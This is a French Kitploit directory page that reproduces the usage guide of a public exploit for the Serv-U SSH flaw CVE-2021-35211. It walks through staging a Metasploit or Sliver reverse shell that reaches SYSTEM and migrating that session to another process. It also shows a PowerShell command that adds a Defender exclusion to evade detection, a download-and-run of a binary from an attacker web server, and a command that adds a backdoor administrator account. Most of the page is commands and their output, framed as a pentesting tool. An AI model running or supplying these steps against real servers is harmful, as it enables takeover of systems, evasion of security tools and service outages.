Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-35211 — Serv-U-FTP CVE-2021-35211 exploit | Kitploit
Outils/GitHubGitHub/0xhaggis/cve-2021-35211
Analyse des VulnérabilitésExploitationShellcodeTests d'IntrusionCommandement et ContrôleOutil d'Accès à DistanceDéveloppement de Charges UtilesExploitation de Binaires
GitHub0xhaggis/cve-2021-35211

CVE-2021-35211

Serv-U-FTP CVE-2021-35211 exploit

Voir le dépôt
1il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploit Serv-U CVE-2021-35211

Potentiel de déni de service - vérifiez vos règles d'engagement

L'exploit ne fonctionne pas à chaque fois, mais il fonctionne assez pour exécuter du shellcode environ 1 fois sur 5 ou 6 tentatives. Cependant, un échec peut parfois planter le serveur Serv-U. Assurez-vous que vos règles d'engagement permettent le risque de perte ou de dégradation du service. Les symptômes observés lors des tests incluent :

  • plantage et redémarrage automatique (le plus courant)
  • déconnexion des utilisateurs connectés lors de tentatives réussies et infructueuses
  • plantage sans redémarrage automatique

Caveat emptor.

Démarrage rapide

Les versions sont importantes. Cet exploit utilise des adresses ROP codées en dur valides uniquement pour Serv-U version 15.2.3.717. Nous pouvons peut-être ajouter d'autres versions, demandez-nous si vous en avez besoin pour fonctionner avec différentes versions de Serv-U ou Windows.

Vérifiez la version sur votre cible

root@kitploit:~
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

Exécution de l'exploit

Il prend les arguments suivants :

root@kitploit:~
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

Il y a trois modes (ou charges utiles) que vous pouvez exécuter lors d'une attaque réussie :

  1. stage
  2. exec
  3. downloadexec

Mode Stage

En cas d'exploit réussi, exécute un stager de shellcode compatible Metasploit/Sliver. C'est la moins fiable de toutes les charges utiles ; envisagez plutôt downloadexec. Exécutez-le ainsi :

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort

positional arguments:
  stageHost   Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
  stagePort   Port number for your staging instance

optional arguments:
  -h, --help  show this help message and exit

stageHost et stagePort pointeront vers un gestionnaire d'écoute sur votre machine Sliver/Metasploit. Vous pouvez choisir la charge utile que vous souhaitez, mais j'ai constaté que la seule qui fonctionne de manière fiable est windows/x64/shell/reverse_tcp. C'est dommage car ce n'est pas un shell chiffré et vous devrez vérifier vos règles d'engagement avant de lancer une telle chose.

Encore une fois, caveat emptor.

Configurez-le dans Metasploit sur votre machine Kali comme ceci :

root@kitploit:~
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.

Exécutez ensuite l'exploit :

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

De retour sur la machine Kali, vous devriez voir la requête de stage et le shell de commande démarrer :

root@kitploit:~
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000

msf5 >sessions -i 6
[*] Starting interaction with 6...


(c) Microsoft Corporation. All rights reserved.

C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system

Sliver

Le support de Sliver dans la charge utile du stager est hautement expérimental et fonctionne rarement. S'il fonctionne, vous verrez normalement les sessions démarrer et mourir immédiatement. Mais si vous obtenez une session qui ne se termine pas immédiatement, vous pouvez prendre des mesures pour maintenir votre accès Sliver en migrant vers un autre processus.

Sur votre serveur Sliver, exécutez la commande stage-listener pour configurer votre écouteur. Consultez la documentation Sliver pour plus de détails sur le staging :

root@kitploit:~
elvis@h:/ehome/haggis$ sudo sliver-server

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode

Exécutez l'exploit en mode stage :

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Si l'exploit fonctionne (et il fonctionne très rarement avec les charges utiles Sliver ou Meterpreter), vous verrez quelque chose comme ceci (et oui, Sliver a trouvé tout seul ce nom de charge utile !) :

root@kitploit:~
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC

sliver > sessions -i 4

[*] Active session ARTISTIC_PANTIES (4)

sliver (ARTISTIC_PANTIES) > info

                ID: 4
              Name: ARTISTIC_PANTIES
          Hostname: WIN-EMCK6E5O0DI
              UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
          Username: NT AUTHORITY\SYSTEM
               UID: S-1-5-18
               GID: S-1-5-18
               PID: 3956
                OS: windows
           Version: Server 2016 build 20348 x86_64
              Arch: amd64
    Remote Address: example.com:57071
         Proxy URL: none
     Poll Interval: 1
Reconnect Interval: 60

La première chose à faire est de migrer vers un autre processus car il y a de fortes chances que votre session Sliver meure et ne revienne pas, et je ne connais pas la cause racine au moment de la rédaction.

root@kitploit:~
sliver (ARTISTIC_PANTIES) > ps

pid   ppid  owner                         executable                   session
===   ====  =====                         ==========                   =======
0     0                                   [System Process]             -1
4     0                                   System                       0
...
3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
4868  728   BUILTIN\Administrators        Serv-U.exe                   0
4636  868   BUILTIN\Administrators        dllhost.exe                  0

sliver (ARTISTIC_PANTIES) > migrate 3872

[*] Successfully migrated to 3872

À ce stade, vous devriez avoir une session Sliver solide, immunisée contre les aléas de Serv-U et de cet exploit.

Mode de téléchargement et exécution

Le mode le plus fiable et le moins susceptible d'être détecté par la sécurité des points de terminaison Microsoft Defender. Cela est dû au fait qu'il utilise une commande Powershell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") pour ajouter une exclusion de répertoire à Microsoft Defender afin que les binaires Sliver/Meterpreter/autres ne soient pas analysés pour les logiciels malveillants. Cela vous protégera contre Windows Defender, mais c'est tout ; vous devrez prendre en compte les autres technologies de sécurité des points de terminaison, les IDS réseau, etc.

En cas de succès, télécharge un binaire depuis une URL et l'exécute. Vous aurez besoin d'un serveur web hébergeant votre fichier exécutable. J'ai utilisé Python, mais veuillez noter que je teste sur un réseau local sans SSL. Dans de véritables exploits, vous devrez vérifier vos règles d'engagement si vous souhaitez utiliser des URL non chiffrées.

Ce n'est pas la première fois : caveat emptor.

Exécutez un simple écouteur HTTP comme ceci :

root@kitploit:~
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Avec l'écouteur en cours d'exécution, vous pouvez lancer l'exploit :

root@kitploit:~
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Vous devriez voir quelque chose comme ceci dans votre écouteur :

root@kitploit:~
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -

La cible exécutera calc.exe et redémarrera le service Serv-U pour permettre aux utilisateurs de se reconnecter. Notez que l'exécutable n'affichera pas de fenêtre, mais si vous exécutez cet exemple, vous devriez voir wincalc.exe dans le Gestionnaire des tâches.

Mode d'exécution de commande

En cas de succès, exécute une commande sur la cible. Exécutez-le ainsi :

root@kitploit:~
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Crédits

  • Les chercheurs de Microsoft qui ont fuzzé la vulnérabilité : https://www.microsoft.com/security/blog/2021/09/02/a-deep-dive-into-the-solarwinds-serv-u-ssh-vulnerability/
  • @NattiSamson a fait la preuve de concept (PoC) sur laquelle mon code est basé : https://github.com/NattiSamson/Serv-U-CVE-2021-35211/blob/main/CVE-2021-35211_PoC.py

Dernières réflexions

Cet exploit a tendance à planter le processus distant, malheureusement. Généralement, il redémarre et j'essaie de voir si je peux le rendre plus stable, mais en attendant, n'oubliez pas : vérifiez vos règles d'engagement et caveat emptor.

Télécharger l’outil